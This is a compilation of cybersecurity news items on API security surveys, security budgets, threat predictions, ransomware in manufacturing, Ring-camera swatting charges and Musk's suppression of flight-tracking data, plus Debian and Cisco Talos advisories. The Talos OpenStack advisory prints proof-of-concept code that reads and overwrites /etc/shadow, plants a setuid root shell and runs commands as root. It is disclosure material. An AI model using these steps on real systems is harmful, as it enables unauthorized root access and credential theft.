APIs are key to cloud transformation, but two Google surveys find that cyberattacks targeting them are reaching a tipping point, even as general cloud security issues abound.

Web application programming interfaces (APIs) are the glue that holds together cloud applications and infrastructure, but these endpoints are increasingly under attack, with half of companies acknowledging an API-related security incident in the past 12 months.

According to a survey conducted by Google Cloud, the most troublesome security problems affecting companies' use of APIs are security misconfigurations, outdated APIs and components, and spam or abuse bots — with 40% of companies suffering an incident due to misconfiguration and a third coping with the latter two issues. 

Two-thirds of companies (67%) found API-related security issues and vulnerabilities during the testing phase, but most companies — greater than 60% — discovered issues during the software development process, during application deployment, and by using real-time monitoring, according to the survey of more than 500 technology leaders.

Despite these issues, more than three-quarters (77%) have confidence that they will catch issues, saying they have the required API tools and solutions, says Vikas Anand, head of product for business application platforms at Google Cloud.

"There's a perception of confidence with existing tooling that isn’t matched by evidence," Anand says. "The landscape for security has changed — with the dramatic growth in API volume, APIs are the new battleground for application security."

The interest in Web APIs comes as companies have accelerated their digital transformations over the past two years following the business disruptions caused by the coronavirus pandemic. Nearly all (93%) of companies surveyed by Google in a second study of 770 technology leaders characterized their operations as based on "mostly cloud," up from 83% two years ago. 

In contrast, business decision-makers characterizing their operations as "mostly on-premises" dropped by half to 7%, from 16%, in the same time period.

    

Source: Google Cloud

By one estimate, API-related security incidents caused $12 billion to $23 billion in losses since 2020. And the attack surface is getting bigger: The average large company has three times the number of APIs — 15,600 — as a year ago.

**APIs: Key to Cloud Transformation**

While 46% of organizations surveyed reserved their use of APIs to only within their own organization, more than half (54%) allow partners, customers, and other external developer use the APIs as a way to spur third-party development, Google found.

"APIs are critical to application modernization and digital transformation because, along with microservices, they enable rapid delivery of new experiences to customers, while cutting the cost of development and maintenance," Google Cloud stated in its _"_The Digital Crunch Time: 2022 State of APIs and Applications" report.

Because APIs are critical to their digital transformation, companies have wisely prioritized API security investments, with 60% aiming to improve their ability to proactively identify security threats, and 57% adopting more security automation and orchestration, according to Google Cloud's second report, "API Security: Latest Insights & Key Trends." 

About half of companies also intend to expand their real-time monitoring of API servers and using artificial intelligence and machine learning (AI/ML) systems to better discover flaws and detect attacks.

"As organizations move from being reactionary to proactively addressing these threats, we’ll see AI/ML models become more widely adopted within security tooling," Anand says. "ML-based rules are the natural evolution of this — not just automating, but continuously learning from those experiences."

**API Maturity Brings Cloud Success**

Unsurprisingly, companies that have had more experience with APIs have also found more success with their transition to more cloud-native operations.

About a third of companies (34%) classified themselves as having a mature approach to APIs, pushing an API-first strategy across the organizations and using an API management platform. Those companies also had more success increasing efficiency, better collaboration, and improved agility, compared with organizations with lower API maturity. 

Google Cloud defined low-maturity organizations as those with siloed APIs, no centralized management of APIs, and perhaps an API gateway for security.

"Our study shows that mature API organizations are considerably ahead in their digital transformation efforts compared to low-maturity API organizations," according to the vendor. "Technology leaders already understand the value that APIs bring."

For companies moving to API-based application infrastructure, API security is considered the most significant component of an API program, with 66% of companies considering it important, according to Google's report. Other top concerns included API performance analytics and API governance.

"API security ultimately needs to be part of the overall end-to-end security strategy," Anand says. "Seamless integrations between all security products make enhancing the overall security value from your portfolio easier."

Google: With Cloud Comes APIs & Security Headaches

With a recession potentially coming, some companies are cutting security teams. But moving more infrastructure to the cloud and reducing the number of vendors through consolidation may be the best ways to prepare.

As economic forecasters and businesses raise expectations of a recession in 2023, information-security budgets will likely be pressured in the coming year, experts tell Dark Reading.

Because of latent demand, the call for cybersecurity workers is in flux. While some companies — Patreon, for example — have laid off their cybersecurity teams, other businesses are pausing hiring, as many have open requisitions for cybersecurity specialists. It would be difficult to fill positions anyway: There are currently only enough cybersecurity workers to fill 65% of positions, according to CyberSeek US.

Instead, security teams will have to make do with what they have going forward. The best way to do that is consolidating vendors to reduce costs, and find ways to bring in managed security service providers (MSSPs) to help with areas in which they lack expertise, says Mike Hamilton, chief information security officer at threat-detection and management firm Critical Insight.

"Enterprises have the ability to hire and maintain large teams, so they will continue to do that, but in the mid-market, IT has just got to suck it up and do more security as part of their job," he says. "That's pretty much they way it is everywhere."

While economists and business leaders do not have a great track record for forecasting recessions, current surveys of sentiment have set historical records for recessionary predictions. The Wall Street Journal's quarterly survey of economists found that 63% expect a recession in the next 12 months, the highest registered negative sentiment from economists in the nation outside of an ongoing recession.

Half of companies are already considering instituting IT technology austerity measures, a share that will likely increase if a recession takes hold. Yet, information security should not relax their defensive vigilance, says Merritt Maxim, vice president and research director at Forrester Research.

"Companies need to be as diligent as before," he says. "Hackers and others are not going to stop doing what they have been doing, because of a recession. That will actually spur more activity."

**Turning to the Cloud to Cut IT Security Costs**

Companies should consider moving more infrastructure to the cloud as an austerity measure, experts say. While US firms have moved less than half (45%) of current infrastructure to cloud services, they expect to have 58% of their applications in the cloud in two years, according to Forrester.

While cloud costs have risen and cloud-native application require a different set of skills to secure, they still cost less than equivalent on-premise technologies, Forrester stated in its "Planning Guide 2023: Security & Risk" report. Based on the costs for maintenance, licensing, upgrades, and other investments, on-premises technology consumes the largest percentage of security costs — 41% for companies spending 20% or less of their IT budget on security.

Other experts also recommended cloud infrastructure as being easier and less costly to secure.

"Budget pressure also poses an opportunity and added incentive to accelerate this transformation rather than continue to execute on previous templates," enterprise software firm SAP stated in its security recommendations for 2023. "The cloud poses new security challenges, but also capabilities to optimize and make use of economies of scale."

**Security Vendor Consolidation Reigns: But It May Not Be a Choice**

Managing the disparate security, compliance, and threat-intelligence systems necessary to have visibility and control in a corporate environment has ballooned in the past decade. The average large company has 75 security solutions, according to Microsoft. Over all businesses, the number is smaller but still large, with 13% of companies having more than 20 vendors, according to Cisco's 2020 CISO Benchmark Study.

No wonder, then, that consolidation has become a major strategy going into 2023, with three-quarters of businesses planning to reduce the number of security vendors on which they rely. And many vendors are leaning into that consolidation strategy, not surprisingly. Microsoft, for example, touts cost savings as one of the benefits of consolidating to a single vendor's products and services, claiming that unifying security, compliance, and identity solutions can save up to 60% in costs.

"Managing multiple vendors can be burdensome for IT, while valuable security insights sit siloed in separate dashboards," Vasu Jakkal, corporate vice president for security, compliance, identity, and management at Microsoft, stated in a blog post. "And siloed solutions can result in fragmented visibility and can be exploited."

As part of the strategy, many vendors are buying up smaller firms and rivals — a mixed blessing for companies given that they may have fewer choices in the future. Companies may get more capabilities for less, but they may also find themselves paying for unwanted features, says Forrester's Maxim.

"Whether companies are planning to consolidate or not, I think a lot of consolidation is going to happen on its own, either through strategic M&A or fire-sale M&A, because of where we at in this economy," he says. "Private equity still has a huge amount of capital, and the operations benefits from reducing the number of vendors is significant."

Finally, organizations will find that there are some costly security and risk areas that they simply cannot jettison, such as compliance and governance costs, Critical Insight's Hamilton says. Publicly traded companies, in particular, have little leeway in cutting the costs associated with some regulations.

"You cannot neglect things like governance," he tells Dark Reading, "and you have to make sure your compliance is being met every year."

Security on a Shoestring? Cloud, Consolidation Best Bets for Businesses

Our growing interconnectedness poses almost as many challenges as it does benefits.

The number of cyberattacks around the world jumped 28% in the third quarter of 2022. Such a figure is not surprising because recent years have brought more and bigger attacks on almost every sector. The coming year will no doubt also be filled with attacks and risks, despite companies spending even more on solutions and both governments and the private sector taking further steps to prioritize security.

While many of the current trends will continue, there also will be significant changes and developments in the year ahead. The increasingly efficient and business-minded manner of both cybercriminals and state-backed attackers will drive many of these growing trends and new challenges.

**Expect More Disruptive Attacks**

Business disruption due to cyberattacks is on track to become a bigger problem. During the past 12 months, 93% of organizations have suffered a data-related business disruption, and 43% reported permanent data loss, according to a recent survey. This comes as attackers move away from ransomware attacks, which hold data hostage for money and have fallen by 8% in recent months, and carry out attacks simply to disrupt services and activities, sometimes by erasing data, rather than to raise money. 

Political motivations are often behind such purely disruptive attacks, including Russia-linked or Russia-backed hackers who have targeted businesses in Ukraine, or those that support Ukraine. The public nature of these disruptive attacks, including denial-of-service (DoS) attacks, is also an effective way for hacking groups to build up their brands. This public relations effort is important as more groups, including the infamous Conti group that shut down several government websites and services for months in Costa Rica, seek affiliates to work with on attacks.

**Signs Are Pointing to a Catastrophic Attack**

We will not likely get through the coming year without some sort of catastrophic attack on a very strategic and important network or service provider like Gmail, WhatsApp, or Microsoft. We have long known — and it became even more clear from Twitter whistleblower and former head of security Peiter Zatko, who exposed lax data security practices at the social media giant — that the biggest tech companies, with the biggest security budgets, still have severe challenges. 

If a global software provider or communication platform is attacked it could lead to significant disruption of business and communication, and put the personal data of billions at risk. It would be a worldwide event with lasting economic, social, and political consequences.

**Supply Chain Attacks Will Persist — and Grow**

Supply chain attacks, in which bad actors gain access to organizations through third parties, enabling one attack to include hundreds of victims, will continue to increase as hacking groups become more business-oriented and concerned with efficiency. These types of attacks have already increased by nearly eightfold over the past three years. Many of the largest and most threatening groups are no longer operating alone. In addition to working with affiliates, they are working with states. States are hiring them, funding them, or simply providing them a safe harbor from which to operate. With more at stake, including funding from government or affiliates, these groups are under pressure to accomplish more damage in shorter amounts of time, in the most efficient way possible.

These bad actors are evolving into a modern form of organized crime, and as long as efficiency and results remain important to them, they will pursue supply chain attacks. Such attacks put every sort of organization that uses any type of cloud software at risk, meaning every company must embrace intelligence and be prepared for attacks from sophisticated criminal gangs or state-backed attackers.

**Personalized Attacks Will Target Executives and Their Friends and Family**

We will see more personalization of attacks, including bad actors using tactics like demanding money or network access credentials in return for not releasing valuable or sensitive data they already have. A growing related tactic is "sextortion," or threatening to release embarrassing information, photos, or videos unless the victim gives over money, information, or network credentials. In other cases, attackers offer to pay money in return for passwords or other information that can help them carry out a future cyberattack. 

What all of these attacks have in common is that they are very personal in nature, especially those that rely on sextortion. They can affect business executives, public figures, and anyone else who has a public profile or access to confidential or valuable data and information. But in addition, these types of attacks also often involve friends or family members of their ultimate victims. For example, in one case my company dealt with, a teenager received emails threatening to reveal that he was gay — something his family did not know — unless he installed some files on his home network. Acting out of fear, he installed the files, and this eventually gave a cyberattacker potential access to his mother, an executive at a large company.

With attackers growing more sophisticated and more focused on efficiency, it is more important than ever for businesses to understand and improve their security posture. In the constantly evolving threatscape, no organization can consider itself immune to attacks by the biggest hacking groups, including those backed or sheltered by governments. We are entering a new era in which interconnectedness poses almost as many challenges as it does benefits.

'Sextortion,' Business Disruption, and a Massive Attack: What Could Be in Store for 2023

Debian Linux Security Advisory 5304-1 - Jan-Niklas Sohn discovered several vulnerabilities in X server extensions in the X.Org X server, which may result in privilege escalation if the X server is running privileged.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5304-1                   security@debian.org  
https://www.debian.org/security/                     Salvatore Bonaccorso  
December 20, 2022                     https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : xorg-server  
CVE ID         : CVE-2022-4283 CVE-2022-46340 CVE-2022-46341 CVE-2022-46342  
                 CVE-2022-46343 CVE-2022-46344  
Debian Bug     : 1026071

Jan-Niklas Sohn discovered several vulnerabilities in X server extensions  
in the X.Org X server, which may result in privilege escalation if the X  
server is running privileged.

For the stable distribution (bullseye), these problems have been fixed in  
version 2:1.20.11-1+deb11u4.

We recommend that you upgrade your xorg-server packages.

For the detailed security status of xorg-server please refer to its  
security tracker page at:  
https://security-tracker.debian.org/tracker/xorg-server

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
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Debian Security Advisory 5304-1

A privilege escalation vulnerability exists in the oslo.privsep functionality of OpenStack git master 05194e7618 and prior. Overly permissive functionality within tools leveraging this library within a container can lead increased privileges.

**SUMMARY**

A privilege escalation vulnerability exists in the oslo.privsep functionality of OpenStack git master 05194e7618 and prior. Overly permissive functionality within tools leveraging this library within a container can lead increased privileges.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenStack git master 05194e7618

**PRODUCT URLS**

OpenStack - https://opendev.org/openstack/

**CVSSv3 SCORE**

8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

**CWE**

CWE-269 - Improper Privilege Management

**DETAILS**

OpenStack is a cloud platform that contains a number of tools, libraries and services for providing simplified, powerful and scalable cloud-based applications.

OpenStack’s oslo.privsep library “helps applications perform actions which require more or less privileges… in a safe, easy to code and easy to use manner.” An entry in sudoers is generally added to bootstrap oslo.privsep with the correct privileges when run from an unprivileged user such as nova.

The oslo.privsep design documents state the following:

    Privileged functions must be as simple, specialized and narrow as possible, so as to prevent further escalation. In this example, 
    update_motd(message) is narrow: it only allows the service to overwrite the MOTD file. If a more generic update_file(filename, content) was created, 
    it could be used to overwrite any file in the filesystem, allowing easy escalation to root rights. That would defeat the whole purpose of oslo.privsep.
    ...
    Provided the unprivileged<->privileged boundary contains any hole that effectively grants root to the caller, then there is little benefit to having the separation [provided by privsep]
    

Two modules were observed to have functions that were overly broad and allowed for trivial escalation to root. The nova module contains privileged wrappers for chmod, chown and rmdir, as well as arbitrary file create/write/move/read. Second, the os\_brick module contains functions to execute arbitrary shell commands as root. The source file contains the following comment from 2016:

    Just in case it wasn't clear, this is a massive security back-door. [these wrappers] allow any command to be run as the privileged user (default "root"). 
    This is intended only as an expedient transition and should be removed ASAP.
    

Either of the above modules are sufficient to achieve privilege escalation to root. Other modules within OpenStack were not audited, but it is possible that similar issues exist elsewhere in the codebase.

**Crash Information****Method 1 (nova)**

    from nova.privsep.path import *
    from oslo_config.cfg import CONF
    CONF.privsep_context = 'nova.privsep.sys_admin_pctxt'
    # Read /etc/shadow
    last_bytes("/etc/shadow", 1000)
    # Write to /etc/shadow
    writefile("/etc/shadow", "wb", b"<payload_here>")
    # Get a root shell
    os.system("cp /bin/bash /tmp/bash")
    chown("/tmp/bash", 0)
    chmod("/tmp/bash", 0o4755)
    os.system("/tmp/bash -p")
    bash-5.1#
    

**Method 2 (os\_brick)**

    from os_brick.privileged.rootwrap import *
    from oslo_config.cfg import CONF
    import shlex # helpful for multi-arg commands
    CONF.privsep_context = 'os_brick.privileged.default'
    execute_root(*shlex.split("id"))
    ('uid=0(root) gid=0(root) groups=0(root)\n', '')
    

**Mitigation**

Privileged functions in the nova and os_brick modules of OpenStack should be rewritten to be as specialized and narrowly tailored as possible; e.g. chmod(path, mode) should be replaced with a function that only applies pre-defined permissions on one or more pre-defined files.

Suggest auditing other modules that use oslo.privsep to identify similar issues.

**TIMELINE**

2022-09-07 - Vendor Disclosure  
2022-12-20 - Public Release

CVE-2022-38065: TALOS-2022-1599 || Cisco Talos Intelligence Group

Lower cybersecurity awareness coupled with vulnerable OT gear makes manufacturers tempting targets, but zero trust can blunt attackers’ advantages.

Everyone in information security knows ransomware actors target different industries for different reasons. Some are seen as flush with cash. Some have obvious reasons for needing to resume operations ASAP. Others are just widely recognized as poorly protected.

But did you know that manufacturers pay the highest ransoms of any vertical?

A recent report spelled it out in stark detail. Across all industries, the average ransom paid is a hefty $812,360. Yet for manufacturing, that average skyrockets to a stunning $2,036,189 — about two and a half times the average.

Attackers prefer easy, weak targets as a rule. So what is it about manufacturing that qualifies such organizations as easy or weak?

First, it’s worth asking whether manufacturers are targeted more often, or if they just happen to fall victim more frequently due to inherent factors like outdated tech or lack of cybersecurity awareness. The next interesting question is why they tend to shell out sums so egregiously above what organizations in other verticals do.

As a chief information security officer (CISO) with years of experience leading cybersecurity operations for a global manufacturer, I have some immediate explanations in mind. Here are some of the factors that inevitably contribute:

*   Manufacturers typically have slim profit margins and rely on steady productivity to compensate.
*   Manufacturers know they won’t make much profit on any one iteration of manufactured goods, so high volume is necessary to hit business targets over time. But high volume requires regular output, uninterrupted by slowdowns or complete outages.
*   While organizations in industries with fatter margins might be able to tolerate an extended outage, manufacturers typically can’t. The result is exceptional pressure on manufacturers to pay ransoms and pay them quickly. That’s why attackers, conscious of all this context and the leverage it gives them, may feel emboldened to charge higher ransoms than they would in other industries.

**Manufacturing Suffers From Low Cybersecurity Awareness**

Many factory workers don’t routinely use IT gear like desktop computers, laptops, or tablets. Some may not even have corporate-issued email addresses. Additionally, very few have received extensive training on current cyber threats, and as such, wouldn’t know how to recognize, react, or, report them to their IT team once they’re spotted.

Think of the most standard, low-hanging fruit of cybersecurity awareness training: the phishing simulation. Even if email addresses are provided (far from a given, especially in manufacturing facilities in the developing world), it’s simply unreasonable to expect employees to develop an understanding of the attack chain that may lead from a phishing email to a compromise by a ransomware actor.

These factors increase an organization’s total attack surface. They make the manufacturer more apparent to attackers and more likely to fall prey to attacks if they appear.

**Manufacturing Data Can Be Extraordinarily Valuable**

Imagine that a drywall manufacturer has a unique proprietary method for creating drywall that dries quickly and can be rapidly shipped on demand, yielding a competitive advantage. This type of intellectual property, once compromised, can easily be held for an exceptionally high ransom, because the entire business model would be in jeopardy if it were to leave the company.

Similar concerns can apply to data involved in market timing. Suppose a clothing manufacturer planned to release a new line in the spring based on a combination of colors its market research found would be in high demand. The company may have orchestrated its entire spring-season marketing and supply chain ordering on that basis. Attackers could hold such information for a substantial ransom, because if it were given to competitors, those competitors may get to market first with a competing product, raking in all the expected benefits.

Operational technology (OT) used by manufacturers typically involves many assets (pumps, generators, turbines, etc.) that are on the IT infrastructure — and thus accessible to attackers — yet difficult to patch or secure. Sometimes, even if an asset can be secured, only its manufacturer can secure it without voiding the asset’s warranty.

Being outdated and insecure doesn’t always make them less valuable to the organization, however. Many times, these are legacy systems are required for a basic function, with no adequate substitute available, so the organization continues using them. Attackers often take advantage in such cases to maximize their leverage in charging ransoms.

Suppose an attacker is interested in compromising a Fortune 500 bank. If that bank is a client of a manufacturer whose security is less sophisticated than the bank’s, attackers could use the manufacturer as a stepping stone.

Additionally, manufacturing organizations often simply don’t realize how many third parties (partners, clients, suppliers) can access their networks and data. They may grant network privileges too easily, and in many cases, those privileges give unrestricted access instead of being limited to just the assets required for business purposes.

**Better Security Is Available Today**

I know from experience that manufacturers can significantly reduce their attack surface by adopting zero-trust principles. In turn, this makes it less likely that attackers opportunistically probing the open Internet for weaknesses will discover the organization.

If the organization is discovered, zero trust eliminates an adversary’s ability to move laterally across a network, where they could discover the sort of valuable data that would give them leverage over their target.

Adopting a zero trust approach helps an organization to:

*   Rigorously validate the identity of all participants in a network transaction

*   Obscure from the public Internet the true IP addresses of all assets at any manufacturing facility (or combination of them) via a buffering service

*   Segment the network and support application microtunneling, limiting any possible access by attackers

*   Apply identical policies to public clouds and remote workers, with the ability to scale automatically over time as the network topology changes

These and other techniques, once implemented, can help manufacturers reduce the risk of a breach, lessen their exposure should a breach occur, and minimize the business impact of any successful attack. Best of all, they will help manufacturers hang on to more of their hard-earned profits.

Read more _Partner Perspectives_ from Zscaler

Paying Ransom: Why Manufacturers Shell Out to Cybercriminals

By Waqas
Per the police, the two suspects were aided by a third man who obtained the login credentials of victims’ Yahoo accounts and identified if they owned a Ring doorbell camera. 
This is a post from HackRead.com Read the original post: Hacked Ring Cameras Used in Livestreaming Swatting Attacks

Authorities in the US have charged two “swatters” for using hacked Ring cameras to livestream the law enforcement’s response to swatting-related calls.

According to the US Attorney’s Office, a Racine, Wisconsin resident, Kya Christian Nelson, and Andrew McCarty from Charlotte, North Carolina, have been charged by federal prosecutors for their alleged involvement in swatting attacks.

The duo targeted over a dozen owners of compromised **Ring home security cameras**. Furthermore, the suspects exploited the hacked cams to livestream the law enforcement’s response on social media.

It is worth noting that, in December 2020, **as reported by Hackread.com**, the FBI issued a warning related to swatting attacks in which hackers were using compromised smart home devices to live-stream swatting attacks.

**Charging Details**

Reportedly, Nelson, 21, who used the alias ChumLul, and McCarty, aka Aspertaine, 20, have been charged in Los Angeles federal court with one count of conspiring to gain intentional access to computers without authorization.

Nelson is charged with two counts of unauthorized, intentional access to computers and two counts of aggravated **identity theft**.

The attacks, according to authorities, occurred in Flat Rock, Michigan; Redding, California; Billings, Montana; Decatur, Georgia; Chesapeake, Virginia; Rosenberg, Texas; Oxnard, California; Darien, Illinois; Huntsville, Alabama; North Port, Florida; and Katy, Texas.

Per the police, the two suspects were aided by a third man who obtained the login credentials of victims’ Yahoo accounts and identified if they owned a Ring doorbell camera. How they got Yahoo credentials is yet unclear. It is quite possible that these credentials were obtained from a hacker forum or extracted from **publicly leaked databases**.

1.  **Misconfigured baby monitors expose video streaming online**
2.  **Swatting: Police kills Innocent man after Call of Duty gamer prank call**
3.  **Teens arrested after paying Bitcoin to watch livestream abuse & murder**
4.  **Hackers take over security camera; live stream girls’ bedroom on Internet**

**How did The Attack work?**

Per the indictment filed in the Central District of California on Friday, the suspects had access to twelve Ring cams, which they compromised by **hacking the Yahoo Mail accounts** of camera owners.

Starting on 7 November 2020, the duo made hoax emergency calls to the local police departments, telling them that the owners intended to initiate an armed response, aka swatting. In one instance, an emergency call was made to West Covina, California’s local police, on 8 November.

The caller claimed to be a minor and informed the police that her parents were busy drinking and shooting guns inside their home. When the cops reached the residence, Nelson accessed the hacked Ring doorbell, hurled verbal threats, and taunted the cops. Similarly, they carried out eleven more swatting attacks during the same week.

“Defendants Nelson and McCarty would access without authorization the victims’ Ring devices and thereafter transmit the audio and video from those devices on social media during the police response,” prosecutors said in a **press release**.

In another November indictment filed in the District of Arizona, McCarty participated in swatting attacks on eighteen individuals. None of the defendants has entered a plea as yet. The accused would get up to five years in federal prison if convicted.

**Top 10 Gamers Swatted on Live Stream**

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Hacked Ring Cameras Used in Livestreaming Swatting Attacks

As more and more users adopt new versions of Microsoft Office, it is likely that threat actors will turn away from VBA-based malicious documents to other formats such as XLLs or rely on exploiting newly discovered vulnerabilities to launch malicious code.

Threat Spotlight: XLLing in Excel - threat actors using malicious add-ins

Elon Musk claims plane-tracking data is a risky privacy violation. But the world loses a lot if this information disappears—and that's already happening.

I woke up Friday morning to the message I’d been expecting: “Your account, @Justin\_Ling has been locked for violating the Twitter Rules.”

Below was the offending tweet: a link to one of the few websites that provide real-time private jet flight data that “chief twit” Elon Musk, I wrote, “hasn't bullied into suppressing his flight data.”

Musk has accused these flight trackers of providing “basically assassination coordinates.” He has launched a crusade against these apps and anyone who shares them on his recently acquired social media platform. Accounts like mine were locked, while others were banned entirely—from the @ElonJet bot, which shared the location of Musk’s private plane, to reporters who picked up on his campaign. Twitter rules were rewritten on the fly to forbid publishing anyone’s “physical location.”

The chaotic few days prompted the European Union to warn Musk that silencing journalists would likely result in sanctions from EU regulators. US Representative Adam Schiff demanded that Musk reinstate the suspended accounts and explain to Congress why he decided to retaliate against the press in the first place.

As of Monday, following a poll asking users when he should lift the account suspensions, Musk reinstated some—but not all—of those accounts. 

Lost in the chaos is just how successful Musk has been at suppressing that real-time flight data on the internet. In so doing, he’s taking aim at an incredibly valuable source of information—which has helped researchers, journalists, and experts with everything from tracking Russian oligarchs to investigating the fate of missing aircraft to tracking down international hitmen. Musk isn’t the only one trying to keep this type of information out of the public’s hands. 

Both real-time and historical information on Musk’s main private jet—a 2015 Gulfstream G650ER, tail number N628TS—is conspicuously missing from the two main flight-tracking platforms: FlightAware and FlightRadar24.

FlightAware reports that its real-time data on Musk’s jet is unavailable “due to European government data rules,” while its historical data about the plane’s comings and goings was removed “per request from the owner/operator.” Looking up Musk’s jet on FlightRadar24 returns the message: “we could not find data.”

Even smaller tracking platforms, like AirportInfo—the account that led to my Twitter being locked—have taken Musk’s flight information offline.

“The ongoing hullabaloo about the location of Elon Musk’s airplane has caused us to stop displaying his plane at the moment,” says Christian Rommes, an AirportInfo administrator. “Because Musk is threatening legal action, we don’t want to take any risks.”

While Rommes says his office hasn’t heard from Musk’s legal team, they took the step as a precaution. “Don’t mess with the (former) richest man of the world,” he says.

Aircraft operators are required to report detailed information on their flight path to various national regulators, including the Federal Aviation Administration. That data is generally a matter of public record and is published to various websites popular amongst airline enthusiasts. 

Some companies, like FlightAware, augment government data with their own sources of real-time flight information. Other websites, like planespotters.net and airliners.net, allow users to submit photos taken of aircraft as they come and go around the world.

These services have proved incredibly useful for journalists and independent researchers in recent years.

When Malaysian Airlines flight 370 disappeared in 2014, these trackers provided the public with the same data investigators were puzzling over—a flight path that cut straight across Malaysia before stopping abruptly over the South China Sea. Those websites would become critical tools for independent researchers in the years that followed.

Journalists and the general public again turned to these services after Malaysia Airlines flight 17 and Ukrainian International Airlines flight 752 were shot down in 2014 and 2020, respectively. As early reports suggested disaster had struck, these websites showed clearly that the flights were interrupted in mid-air.

But the utility of real-time flight tracking goes far beyond disasters.

In more lighthearted examples, diehard soccer fans have used FlightRadar24 to figure out where prospective trades are heading ahead of a possible signing. In 2015, tens of thousands of football fanatics correctly identified star manager Jurgen Klopp’s private jet as it made its way to Liverpool, preempting the team’s announcement.

The availability of this data has made it possible to track everything from a shipment of US weapons to Ukraine to Nancy Pelosi’s tense visit to Taiwan, in defiance of Chinese warnings.

Some pilots have leaned into this new visibility. One made headlines after drawing a penis in the sky over Florida.

The websites have also contributed to embarrassment for some private jet owners. Thanks to @CelebJets, a bot account set up by 20-year-old programmer Jack Sweeney, who also created @ElonJet, scrutiny over the pace at which the rich and famous galavant around in their CO2\-intensive private planes reached a fever pitch in 2022. Marketing agency Yard calculated just how much environmental damage was caused by these private jet trips—particularly short-haul flights, where driving or taking public transit would take only marginally longer. That report led to a massive public shaming of celebrities like Taylor Swift, whose private jet addiction put 1,184 times more CO2 into the atmosphere than the average person produces in a whole year. 

A single Elon Musk flight from February burned nearly 4.5 tonnes of CO2.

Sweeney’s jet-tracking bots, which scraped that public flight data and sent it directly to Twitter, also published real-time information on Russian oligarchs. That bot helped open source investigators keep tabs on a cohort of the ultra-rich Russians mainly responsible for keeping Vladimir Putin’s regime running amid a costly war against Ukraine.

Investigative outlet Bellingcat recommends FlightRadar24 for open source investigators, and its researchers have relied on the tool to track likely Russian intelligence operatives, understand political tumult in Kazakhstan, follow the Venezuelan government’s semi-secret private jet, and keep tabs on NATO planes as they conduct operations. Other investigative outlets, like the Organized Crime and Corrupting Reporting Project, have similarly leveraged the data to hunt down shady dealings the world over.

But as Musk’s effort to suppress the information has shown, not everyone wants this data to remain public.

For starters, some planes can turn off their transponders, which relay their coordinates to flight regulators. That option is generally not available for private civilian aircraft.

More useful to someone like Musk is the FAA’s Limiting Aircraft Data Displayed list. Introduced by a 2018 act of Congress, it allows private jet owners to block their data from being disseminated by the FAA. A spokesperson for FlightRadar24 confirmed to WIRED that, as they rely primarily on the FAA’s data, they respect the block list.

Not everyone relies on the FAA, however. Planes regularly transmit basic information mid-flight, through Automatic Dependent Surveillance-Broadcast technology (ADS-B). 

ADS-Bexchange, which describes itself as the “world’s largest source of unfiltered flight data,” has continued reporting real-time information on Musk’s Gulfstream using that technology. Sweeney relies on that website for his bots—which have since moved over to Instagram and Mastodon.

“The position data shown by ADSBexchange is available to anyone who can spend $50 on Amazon and put the parts together,” reads a Q&A on its website. “It’s not secret.”

Users on the site’s Discord channel have spent recent days mocking Musk’s attempt to go after this information and have been clear that they do not intend to remove his jet from the platform. “ADSBx does no blocking or hiding for any reason,” one moderator wrote.

Anyone keeping tabs on Musk’s jet would have known that the Twitter CEO was heading to Qatar for the World Cup finale on Sunday. Doha was a key player in Musk’s Twitter takeover. While there, Musk snapped a selfie with a Russian state broadcaster. (Musk has also relied on a Dubai-based financier with ties to Russian oligarchs to finance his $44 billion purchase of the social network.)

Given how much scrutiny this type of flight data has brought on him and his business dealings, perhaps it’s no surprise that Musk has taken some desperate measures to hide this information. He reportedly offered Sweeney $5,000 to take the @ElonJet bot down. Sweeney countered, asking for $50,000—but the pair do not appear to have ever made a deal. Despite vowing to respect Sweeney’s right to publish the information, Musk banned all of his bots and his personal Twitter account earlier this month, while ADS-B’s Twitter account was similarly removed.

Steffan Watkins is a Canadian Osint researcher who has spent years tracking planes and ships using this kind of publicly available data. Last year, he worked with a United Nations panel of experts to identify planes smuggling weapons into Libya.

“Simply put, because flight data is publicly available through many different flight trackers, the public is empowered to fact-check any statement from any source, government or private,” he says. “Unsurprisingly, there are powerful people who don’t want the transparency that provides.”

Knowing more about where government planes and private jets are going to and coming from can yield surprising results. Watkins points out that the CIA’s extraordinary rendition program, which enabled the arbitrary detention and torture of suspected terrorists—many of whom were innocent—was exposed with the help of open source flight data.

“As the CIA kidnapped and flew citizens of other countries to black sites around the world for integration and torture on government-chartered bizjets, they left a trail of data in their wake that was used to unravel the routes used to ship their abductees,” Watkins told WIRED.

More recently, in 2018 researchers used ADS-B data to trace the route that a Saudi kill squad took on its way to murder _Washington Post_ journalist Jamal Khashoggi.

Earlier this year, the Saudi government submitted a proposal to the International Civil Aviation Organization to encrypt and restrict access to this data. “The uncontrolled access to detailed/accurate ADS-B data on the internet raised concerns by aircraft operators and owners on safety, security, and privacy of flights,” the Saudis wrote to the Montreal-headquartered UN body.

“Oh, the country that flies assassins around the world wants to hide aviation info from the public because of ‘security’?” Watkins says. “How quaint.”

A Saudi prince, Alwaleed bin Talal bin Abdulaziz, is the second-largest shareholder in Twitter. The site’s largest owner, Musk, is similarly relying on security concerns as he moves to ban this flight data from his platform.

In announcing the ban on real-time flight data last week, he alleged that a “crazy stalker” followed a car carrying one of his children. “Legal action is being taken against Sweeney & organizations who supported harm to my family,” he tweeted.

The Los Angeles Police Department sees no link between his private jet’s coordinates and the alleged stalking, according to _Washington Post_ reporters Drew Harwell and Taylor Lorenz—two journalists Musk banned on Twitter. A Bellingcat contributor geolocated the incident, which Musk recorded and published to Twitter (possibly in violation of his own rules), to a gas station miles away from the airport and nearly a full day after Musk’s jet had last been in the air.

Seeing how few—if any—of Musk’s critics and online tormentors have air-to-air intercept capabilities, and given that airports continue to be some of the most secure places in modern society, the Tesla owner’s security concerns appear overblown.

